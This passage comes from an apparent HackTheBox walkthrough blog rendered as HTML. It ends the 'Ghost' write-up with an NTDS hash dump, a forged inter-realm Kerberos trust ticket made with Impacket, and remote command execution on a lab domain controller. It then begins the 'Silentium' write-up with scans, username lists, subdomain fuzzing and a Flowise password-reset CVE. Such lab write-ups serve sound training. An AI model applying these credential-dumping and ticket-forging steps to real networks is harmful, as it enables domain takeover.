</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="nx">CORP.GHOST.HTB\PRIMARY</span><span class="err">$</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">ccache</span><span class="w"> 
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">-</span><span class="p">]</span><span class="w"> </span><span class="nx">RemoteOperations</span><span class="w"> </span><span class="nx">failed:</span><span class="w"> </span><span class="nx">DCERPC</span><span class="w"> </span><span class="nx">Runtime</span><span class="w"> </span><span class="nx">Error:</span><span class="w"> </span><span class="nx">code:</span><span class="w"> </span><span class="nx">0x5</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">rpc_s_access_denied</span><span class="w"> 
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="nx">Dumping</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">NTDS</span><span class="p">,</span><span class="w"> </span><span class="nx">this</span><span class="w"> </span><span class="nx">could</span><span class="w"> </span><span class="nx">take</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">while</span><span class="w"> </span><span class="nx">so</span><span class="w"> </span><span class="nx">go</span><span class="w"> </span><span class="nx">grab</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">redbull...</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="nx">Administrator:500:aad3b435b51404eeaad3b435b51404ee:41515af3ada195029708a53d941ab751:::</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="nx">Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="nx">krbtgt:502:aad3b435b51404eeaad3b435b51404ee:69eb46aa347a8c68edb99be2725403ab:::</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="nx">PRIMARY</span><span class="err">$</span><span class="p">:</span><span class="nx">1000:aad3b435b51404eeaad3b435b51404ee:27f92da5e3d79962020ddebc08ed7d70:::</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="nx">GHOST</span><span class="err">$</span><span class="p">:</span><span class="nx">1103:aad3b435b51404eeaad3b435b51404ee:7af2e44b36d8540c05bb89442ba5a599:::</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="nx">Dumped</span><span class="w"> </span><span class="nx">5</span><span class="w"> </span><span class="nx">NTDS</span><span class="w"> </span><span class="nx">hashes</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">/home/w1ld/.nxc/logs/ntds/PRIMARY_corp.ghost.htb_2026-09-25_005747.ntds</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">which</span><span class="w"> </span><span class="nx">3</span><span class="w"> </span><span class="nx">were</span><span class="w"> </span><span class="nx">added</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">database</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">To</span><span class="w"> </span><span class="nx">extract</span><span class="w"> </span><span class="nx">only</span><span class="w"> </span><span class="nx">enabled</span><span class="w"> </span><span class="nx">accounts</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">output</span><span class="w"> </span><span class="nx">file</span><span class="p">,</span><span class="w"> </span><span class="nx">run</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">following</span><span class="w"> </span><span class="nx">command:</span><span class="w"> 
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">corp.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">PRIMARY</span><span class="w">          </span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">grep</span><span class="w"> </span><span class="nt">-iv</span><span class="w"> </span><span class="nx">disabled</span><span class="w"> </span><span class="nx">/home/w1ld/.nxc/logs/ntds/PRIMARY_corp.ghost.htb_2026-09-25_005747.ntds</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">cut</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="s1">':'</span><span class="w"> </span><span class="nt">-f1</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ve attempted to <code class="language-plaintext highlighter-rouge">raise a child</code> however this didn’t work for me as the <code class="language-plaintext highlighter-rouge">golden ticket</code> seemed invalid no matter what I did. Instead I forged a trust ticket which is an inter-realm tgt.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ticketer.py</span><span class="w"> </span><span class="nt">-nthash</span><span class="w"> </span><span class="nx">7af2e44b36d8540c05bb89442ba5a599</span><span class="w"> </span><span class="nt">-domain-sid</span><span class="w"> </span><span class="nx">S-1-5-21-2034262909-2733679486-179904498</span><span class="w"> </span><span class="nt">-domain</span><span class="w"> </span><span class="nx">corp.ghost.htb</span><span class="w"> </span><span class="nt">-extra-sid</span><span class="w"> </span><span class="nx">S-1-5-21-4084500788-938703357-3654145966-519</span><span class="w"> </span><span class="nt">-spn</span><span class="w"> </span><span class="nx">krbtgt/ghost.htb</span><span class="w"> </span><span class="nx">w1ld</span><span class="w">
</span><span class="n">Impacket</span><span class="w"> </span><span class="nx">v0.13.1</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Copyright</span><span class="w"> </span><span class="nx">Fortra</span><span class="p">,</span><span class="w"> </span><span class="nx">LLC</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">its</span><span class="w"> </span><span class="nx">affiliated</span><span class="w"> </span><span class="nx">companies</span><span class="w"> 

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Creating</span><span class="w"> </span><span class="nx">basic</span><span class="w"> </span><span class="nx">skeleton</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">PAC</span><span class="w"> </span><span class="nx">Infos</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Customizing</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">corp.ghost.htb/w1ld</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w">     </span><span class="n">PAC_LOGON_INFO</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w">     </span><span class="nx">PAC_CLIENT_INFO_TYPE</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w">     </span><span class="n">EncTicketPart</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w">     </span><span class="nx">EncTGSRepPart</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Signing/Encrypting</span><span class="w"> </span><span class="nx">final</span><span class="w"> </span><span class="nx">ticket</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w">     </span><span class="n">EncTicketPart</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w">     </span><span class="nx">EncTGSRepPart</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Saving/Updating</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">w1ld.ccache</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s use this <code class="language-plaintext highlighter-rouge">TGT</code> to grab an <code class="language-plaintext highlighter-rouge">ST</code></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">getST.py</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nt">-no-pass</span><span class="w"> </span><span class="nt">-debug</span><span class="w"> </span><span class="nt">-spn</span><span class="w"> </span><span class="s1">'cifs/dc01.ghost.htb'</span><span class="w"> </span><span class="s1">'ghost.htb/w1ld'</span><span class="w">          
</span><span class="n">Impacket</span><span class="w"> </span><span class="nx">v0.13.1</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Copyright</span><span class="w"> </span><span class="nx">Fortra</span><span class="p">,</span><span class="w"> </span><span class="nx">LLC</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">its</span><span class="w"> </span><span class="nx">affiliated</span><span class="w"> </span><span class="nx">companies</span><span class="w"> 

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Impacket</span><span class="w"> </span><span class="nx">Library</span><span class="w"> </span><span class="nx">Installation</span><span class="w"> </span><span class="nx">Path:</span><span class="w"> </span><span class="nx">/home/w1ld/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="kr">Using</span><span class="w"> </span><span class="n">Kerberos</span><span class="w"> </span><span class="nx">Cache:</span><span class="w"> </span><span class="nx">/tmp/krb5cc_1000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Returning</span><span class="w"> </span><span class="nx">cached</span><span class="w"> </span><span class="nx">credential</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">KRBTGT/GHOST.HTB</span><span class="err">@</span><span class="nx">CORP.GHOST.HTB</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="kr">Using</span><span class="w"> </span><span class="n">TGT</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">cache</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Username</span><span class="w"> </span><span class="nx">retrieved</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">CCache:</span><span class="w"> </span><span class="nx">w1ld</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Getting</span><span class="w"> </span><span class="nx">ST</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">user</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Trying</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">connect</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">KDC</span><span class="w"> </span><span class="nx">at</span><span class="w"> </span><span class="nx">GHOST.HTB:88</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Saving</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">w1ld</span><span class="err">@</span><span class="nx">cifs_dc01.ghost.htb</span><span class="err">@</span><span class="nx">GHOST.HTB.ccache</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s check our authentication</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">klist</span><span class="w">
</span><span class="n">Ticket</span><span class="w"> </span><span class="nx">cache:</span><span class="w"> </span><span class="nx">FILE:/tmp/krb5cc_1000</span><span class="w">
</span><span class="n">Default</span><span class="w"> </span><span class="nx">principal:</span><span class="w"> </span><span class="nx">w1ld</span><span class="err">@</span><span class="nx">CORP.GHOST.HTB</span><span class="w">

</span><span class="n">Valid</span><span class="w"> </span><span class="nx">starting</span><span class="w">       </span><span class="nx">Expires</span><span class="w">              </span><span class="nx">Service</span><span class="w"> </span><span class="nx">principal</span><span class="w">
</span><span class="mi">09</span><span class="n">/25/2026</span><span class="w"> </span><span class="nx">01:07:47</span><span class="w">  </span><span class="nx">09/25/2026</span><span class="w"> </span><span class="nx">11:07:47</span><span class="w">  </span><span class="nx">cifs/dc01.ghost.htb</span><span class="err">@</span><span class="nx">GHOST.HTB</span><span class="w">
        </span><span class="n">renew</span><span class="w"> </span><span class="nx">until</span><span class="w"> </span><span class="nx">09/26/2026</span><span class="w"> </span><span class="nx">01:07:45</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">nxc</span><span class="w"> </span><span class="nx">smb</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nt">--use-kcache</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Server</span><span class="w"> </span><span class="nx">2022</span><span class="w"> </span><span class="nx">Build</span><span class="w"> </span><span class="nx">20348</span><span class="w"> </span><span class="nx">x64</span><span class="w"> </span><span class="p">(</span><span class="n">name:DC01</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">domain:ghost.htb</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">signing:True</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">SMBv1:False</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">Null</span><span class="w"> </span><span class="nx">Auth:True</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">DC:True</span><span class="p">)</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="nx">CORP.GHOST.HTB\w1ld</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">ccache</span><span class="w"> </span><span class="p">(</span><span class="n">Pwn3d</span><span class="o">!</span><span class="p">)</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Success! We’re admin, let’s check our desktop.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">nxc</span><span class="w"> </span><span class="nx">smb</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nt">--use-kcache</span><span class="w"> </span><span class="nt">-x</span><span class="w"> </span><span class="s2">"dir C:\Users\Administrator\Desktop"</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Server</span><span class="w"> </span><span class="nx">2022</span><span class="w"> </span><span class="nx">Build</span><span class="w"> </span><span class="nx">20348</span><span class="w"> </span><span class="nx">x64</span><span class="w"> </span><span class="p">(</span><span class="n">name:DC01</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">domain:ghost.htb</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">signing:True</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">SMBv1:False</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">Null</span><span class="w"> </span><span class="nx">Auth:True</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">DC:True</span><span class="p">)</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="nx">CORP.GHOST.HTB\w1ld</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">ccache</span><span class="w"> </span><span class="p">(</span><span class="n">Pwn3d</span><span class="o">!</span><span class="p">)</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="nx">Executed</span><span class="w"> </span><span class="nx">command</span><span class="w"> </span><span class="nx">via</span><span class="w"> </span><span class="nx">atexec</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">              </span><span class="nx">Volume</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">drive</span><span class="w"> </span><span class="nx">C</span><span class="w"> </span><span class="nx">has</span><span class="w"> </span><span class="nx">no</span><span class="w"> </span><span class="nx">label.</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">              </span><span class="nx">Volume</span><span class="w"> </span><span class="nx">Serial</span><span class="w"> </span><span class="nx">Number</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">2804-C13F</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">              </span><span class="nx">Directory</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">C:\Users\Administrator\Desktop</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">07/03/2024</span><span class="w">  </span><span class="nx">01:28</span><span class="w"> </span><span class="nx">PM</span><span class="w">    </span><span class="err">&lt;</span><span class="nx">DIR</span><span class="err">&gt;</span><span class="w">          </span><span class="o">.</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">01/30/2024</span><span class="w">  </span><span class="nx">10:19</span><span class="w"> </span><span class="nx">AM</span><span class="w">    </span><span class="err">&lt;</span><span class="nx">DIR</span><span class="err">&gt;</span><span class="w">          </span><span class="o">..</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">09/23/2026</span><span class="w">  </span><span class="nx">06:31</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">34</span><span class="w"> </span><span class="nx">root.txt</span><span class="w">
</span><span class="n">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">                            </span><span class="nx">1</span><span class="w"> </span><span class="nx">File</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w">             </span><span class="mi">34</span><span class="w"> </span><span class="n">bytes</span><span class="w">
</span><span class="nx">SMB</span><span class="w">         </span><span class="nx">dc01.ghost.htb</span><span class="w">  </span><span class="nx">445</span><span class="w">    </span><span class="nx">DC01</span><span class="w">                            </span><span class="nx">2</span><span class="w"> </span><span class="nx">Dir</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="w">   </span><span class="mi">3</span><span class="p">,</span><span class="mi">410</span><span class="p">,</span><span class="mi">259</span><span class="p">,</span><span class="mi">968</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="nx">free</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">root</code> flag.</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="os/windows" /><category term="diff/insane" /><summary type="html"><![CDATA[Ghost is running a subdomain vulnerable to blind ldap injection leading to credentials on a gitea instance. Gitea reveals a File Read in the blog leaking a Dev key used in a service vulnerable to remote code execution. The resulting shell contains a saved ssh session to a dev workstation containing a TGT. Poisoning the DNS grants access to a remote management user who can read the gmsa password of adfs_gmsa. Through golden saml we then gain access to an mssql dashboard and exploit command execution in a linked server in the corp.ghost.htb domain. Escalating privileges through SeImpersonate and dumping domain credentials we then forge an interdomain ticket allowing us to request a service ticket as an Enterprise Admin and become the Domain Admin.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_ghost/0001.jpeg" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_ghost/0001.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Silentium</title><link href="https://0xw1ld.github.io/htb/2026/09/12/silentium.html" rel="alternate" type="text/html" title="Silentium" /><published>2026-09-12T00:00:00+00:00</published><updated>2026-09-12T00:00:00+00:00</updated><id>https://0xw1ld.github.io/htb/2026/09/12/silentium</id><content type="html" xml:base="https://0xw1ld.github.io/htb/2026/09/12/silentium.html"><![CDATA[<p><img src="/assets/img/img_2026-09-12-silentium/0012.jpeg" alt="Silentium HackTheBox machine" /></p>
<h1 id="enumeration">Enumeration</h1>
<h2 id="scans">Scans</h2>
<p>As usual we start off with an <code class="language-plaintext highlighter-rouge">nmap</code> port scan</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>PORT      STATE  SERVICE REASON         VERSION
22/tcp    open   ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN9Ju3bTZsFozwXY1B2KIlEY4BA+RcNM57w4C5EjOw1QegUUyCJoO4TVOKfzy/9kd3WrPEj/FYKT2agja9/PM44=
|   256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9qI0OvMyp03dAGXR0UPdxw7hjSwMR773Yb9Sne+7vD
80/tcp    open   http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 033771DFEF9C64EFA01CAF726E3629A9
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital &amp; Lending Solutions
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</pre></td></tr></tbody></table></code></pre></div></div>

<p>As usual with <code class="language-plaintext highlighter-rouge">Linux</code> machines on <code class="language-plaintext highlighter-rouge">HTB</code> we only find <code class="language-plaintext highlighter-rouge">2</code> ports open:</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">22 - OpenSSH 9.6p1 on Ubuntu</code></li>
  <li><code class="language-plaintext highlighter-rouge">80 - nginx 1.24.0</code></li>
</ol>

<h2 id="silentium-webpage">Silentium Webpage</h2>
<p>Visiting the <code class="language-plaintext highlighter-rouge">nginx</code> website on <code class="language-plaintext highlighter-rouge">port 80</code> we’re greated with a <code class="language-plaintext highlighter-rouge">Financial solutions</code> platform.
![[assets/img/img_2026-09-12-silentium/86247c3111836f42f2a428ac2ef50c83_MD5.png]]</p>

<p>Which is a mostly static site only running <code class="language-plaintext highlighter-rouge">javascript</code> for the <code class="language-plaintext highlighter-rouge">calculator</code> feature of the site. Notably however we can find several <code class="language-plaintext highlighter-rouge">names</code> that we may be able to use:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>Marcus Throne
Ben
Elena Rossi
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ve used <code class="language-plaintext highlighter-rouge">username-anarchy</code> to put these into a list of possible usernames.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span><span class="nb">cat </span>usernames.txt
marcus
marcusthorne
marcus.thorne
marcusth
marcthor
marcust
m.thorne
mthorne
tmarcus
t.marcus
thornem
thorne
thorne.m
thorne.marcus
mt
ben
elena
elenarossi
elena.rossi
elenaros
elenross
elenar
e.rossi
erossi
relena
r.elena
rossie
rossi
rossi.e
rossi.elena
er
</pre></td></tr></tbody></table></code></pre></div></div>
<h2 id="staging-subdomain">Staging Subdomain</h2>
<p>Running a quick <code class="language-plaintext highlighter-rouge">subdomain</code> scan we can find the <code class="language-plaintext highlighter-rouge">staging</code> domain pretty quickly.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>ffuf <span class="nt">-u</span> <span class="s2">"http://silentium.htb"</span> <span class="nt">-H</span> <span class="s2">"Host: FUZZ.silentium.htb"</span> <span class="nt">-w</span> /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt <span class="nt">-mc</span> all <span class="nt">-fc</span> 301 <span class="nt">-s</span>
staging
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Visiting the <code class="language-plaintext highlighter-rouge">staging</code> subdomain we’re greated with a <code class="language-plaintext highlighter-rouge">Flowise AI</code> login page.
![[assets/img/img_2026-09-12-silentium/d3b92953326878853d858959d9ff15aa_MD5.png]]</p>

<h1 id="user">User</h1>
<h2 id="flowise-access">Flowise Access</h2>
<p>Searching around on the internet for <code class="language-plaintext highlighter-rouge">Flowise AI CVEs</code> we can come across a recent <code class="language-plaintext highlighter-rouge">CVE</code>: <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-58434">CVE-2025-58434</a> which exploits the <code class="language-plaintext highlighter-rouge">forgot-password</code> endpoint of <code class="language-plaintext highlighter-rouge">flowise 3.0.5</code> to create a <code class="language-plaintext highlighter-rouge">tempToken</code> which we can then use against the <code class="language-plaintext highlighter-rouge">reset-password</code> endpoint to reset the password.</p>

